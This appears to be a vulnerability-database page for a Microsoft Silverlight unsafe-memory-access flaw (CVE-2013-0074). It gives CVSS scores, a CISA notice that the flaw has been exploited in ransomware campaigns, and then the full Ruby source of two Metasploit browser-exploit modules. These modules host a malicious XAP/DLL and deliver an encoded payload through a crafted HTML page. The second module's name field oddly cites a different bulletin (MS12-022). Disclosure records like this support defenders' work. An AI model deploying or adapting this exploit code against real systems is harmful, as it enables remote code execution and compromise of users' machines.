Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE Other |
No informations. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.1 |
7.8 |
HIGH |
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
nvd@nist.gov |
| V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : Microsoft Silverlight Double Dereference Vulnerability
Required action : The impacted product is end-of-life and should be disconnected if still in use.
Known To Be Used in Ransomware Campaigns : Known
Added : 2022-05-24 22h00 +00:00
Action is due : 2022-06-14 22h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 41702
Publication date : 2013-03-11 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
MANIFEST = <<-EOS
<Deployment xmlns="http://schemas.microsoft.com/client/2007/deployment" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" EntryPointAssembly="SilverApp1" EntryPointType="SilverApp1.App" RuntimeVersion="4.0.50826.0">
<Deployment.Parts>
<AssemblyPart x:Name="SilverApp1" Source="SilverApp1.dll" />
</Deployment.Parts>
</Deployment>
EOS
def initialize(info={})
super(update_info(info,
'Name' => "MS13-022 Microsoft Silverlight ScriptObject Unsafe Memory Access",
'Description' => %q{
This module exploits a vulnerability in Microsoft Silverlight. The vulnerability exists on
the Initialize() method from System.Windows.Browser.ScriptObject, which access memory in an
unsafe manner. Since it is accessible for untrusted code (user controlled) it's possible
to dereference arbitrary memory which easily leverages to arbitrary code execution. In order
to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class
from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP
SP3 / Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Forshaw', # RCE Vulnerability discovery
'Vitaliy Toropov', # Info Leak discovery, original exploit, all the hard work
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-0074' ],
[ 'CVE', '2013-3896' ],
[ 'OSVDB', '91147' ],
[ 'OSVDB', '98223' ],
[ 'BID', '58327' ],
[ 'BID', '62793' ],
[ 'MSB', 'MS13-022' ],
[ 'MSB', 'MS13-087' ],
[ 'PACKETSTORM', '123731' ]
],
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Arch' => ARCH_X86,
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:silverlight => "true"
},
'Targets' =>
[
[ 'Windows x86/x64', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Mar 12 2013",
'DefaultTarget' => 0))
end
def setup
@xap_name = "#{rand_text_alpha(5 + rand(5))}.xap"
@dll_name = "#{rand_text_alpha(5 + rand(5))}.dll"
File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2013-0074", "SilverApp1.xap" ), "rb") { |f| @xap = f.read }
File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2013-0074", "SilverApp1.dll" ), "rb") { |f| @dll = f.read }
@xaml = MANIFEST.gsub(/SilverApp1\.dll/, @dll_name)
super
end
def exploit_template(cli, target_info)
my_payload = get_payload(cli, target_info)
# Align to 4 bytes the x86 payload
while my_payload.length % 4 != 0
my_payload = "\x90" + my_payload
end
my_payload = Rex::Text.encode_base64(my_payload)
html_template = <<-EOF
<html>
<!-- saved from url=(0014)about:internet -->
<head>
<title>Silverlight Application</title>
<style type="text/css">
html, body { height: 100%; overflow: auto; }
body { padding: 0; margin: 0; }
#form1 { height: 99%; }
#silverlightControlHost { text-align:center; }
</style>
</head>
<body>
<form id="form1" runat="server" >
<div id="silverlightControlHost">
<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="100%" height="100%">
<param name="source" value="<%= @xap_name %>"/>
<param name="background" value="white" />
<param name="InitParams" value="payload=<%= my_payload %>" />
</object>
</div>
</form>
</body>
</html>
EOF
return html_template, binding()
end
def on_request_exploit(cli, request, target_info)
print_status("request: #{request.uri}")
if request.uri =~ /#{@xap_name}$/
print_status("Sending XAP...")
send_response(cli, @xap, { 'Content-Type' => 'application/x-silverlight-2', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache' })
elsif request.uri =~ /#{@dll_name}$/
print_status("Sending DLL...")
send_response(cli, @dll, { 'Content-Type' => 'application/octect-stream', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache' })
elsif request.uri =~ /AppManifest.xaml$/
print_status("Sending XAML...")
send_response(cli, @xaml, { 'Content-Type' => 'text/xaml', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache' })
else
print_status("Sending HTML...")
send_exploit_html(cli, exploit_template(cli, target_info))
end
end
end
Exploit Database EDB-ID : 29858
Publication date : 2013-11-26 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
MANIFEST = <<-EOS
<Deployment xmlns="http://schemas.microsoft.com/client/2007/deployment" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" EntryPointAssembly="SilverApp1" EntryPointType="SilverApp1.App" RuntimeVersion="4.0.50826.0">
<Deployment.Parts>
<AssemblyPart x:Name="SilverApp1" Source="SilverApp1.dll" />
</Deployment.Parts>
</Deployment>
EOS
def initialize(info={})
super(update_info(info,
'Name' => "MS12-022 Microsoft Internet Explorer COALineDashStyleArray Unsafe Memory Access",
'Description' => %q{
This module exploits a vulnerability on Microsoft Silverlight. The vulnerability exists on
the Initialize() method from System.Windows.Browser.ScriptObject, which access memory in an
unsafe manner. Since it is accessible for untrusted code (user controlled) it's possible
to dereference arbitrary memory which easily leverages to arbitrary code execution. In order
to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class
from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP
SP3 / Windows 7 SP1 on both x32 and x64 architectures.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Forshaw', # RCE Vulnerability discovery
'Vitaliy Toropov', # Info Leak discovery, original exploit, all the hard work
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-0074' ],
[ 'CVE', '2013-3896' ],
[ 'OSVDB', '91147' ],
[ 'OSVDB', '98223' ],
[ 'BID', '58327' ],
[ 'BID', '62793' ],
[ 'MSB', 'MS13-022' ],
[ 'MSB', 'MS13-087' ],
[ 'URL', 'http://packetstormsecurity.com/files/123731/' ]
],
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X86_64],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => Msf::OperatingSystems::WINDOWS,
:ua_name => Msf::HttpClients::IE
},
'Targets' =>
[
[ 'Windows x86',
{
'arch' => ARCH_X86
}
],
[ 'Windows x64',
{
'arch' => ARCH_X86_64
}
]
],
'Privileged' => false,
'DisclosureDate' => "Mar 12 2013",
'DefaultTarget' => 0))
end
def setup
@xap_name = "#{rand_text_alpha(5 + rand(5))}.xap"
@dll_name = "#{rand_text_alpha(5 + rand(5))}.dll"
File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2013-0074", "SilverApp1.xap" ), "rb") { |f| @xap = f.read }
File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2013-0074", "SilverApp1.dll" ), "rb") { |f| @dll = f.read }
@xaml = MANIFEST.gsub(/SilverApp1\.dll/, @dll_name)
super
end
def exploit_template(cli, target_info)
my_payload = get_payload(cli, target_info)
# Align to 4 bytes the x86 payload
if target_info[:arch] == ARCH_X86
while my_payload.length % 4 != 0
my_payload = "\x90" + my_payload
end
end
my_payload = Rex::Text.encode_base64(my_payload)
html_template = <<-EOF
<html>
<!-- saved from url=(0014)about:internet -->
<head>
<title>Silverlight Application</title>
<style type="text/css">
html, body { height: 100%; overflow: auto; }
body { padding: 0; margin: 0; }
#form1 { height: 99%; }
#silverlightControlHost { text-align:center; }
</style>
</head>
<body>
<form id="form1" runat="server" >
<div id="silverlightControlHost">
<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="100%" height="100%">
<param name="source" value="<%= @xap_name %>"/>
<param name="background" value="white" />
<param name="InitParams" value="payload=<%= my_payload %>" />
</object>
</div>
</form>
</body>
</html>
EOF
return html_template, binding()
end
def on_request_exploit(cli, request, target_info)
print_status("request: #{request.uri}")
if request.uri =~ /#{@xap_name}$/
print_status("Sending XAP...")
send_response(cli, @xap, { 'Content-Type' => 'application/x-silverlight-2', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache' })
elsif request.uri =~ /#{@dll_name}$/
print_status("Sending DLL...")
send_response(cli, @dll, { 'Content-Type' => 'application/octect-stream', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache' })
elsif request.uri =~ /AppManifest.xaml$/
print_status("Sending XAML...")
send_response(cli, @xaml, { 'Content-Type' => 'text/xaml', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache' })
else
print_status("Sending HTML...")
send_exploit_html(cli, exploit_template(cli, target_info))
end
end
end
Products Mentioned
Configuraton 0
Microsoft>>Silverlight >> Version From (including) 5.0 To (excluding) 5.1.20125.0
References
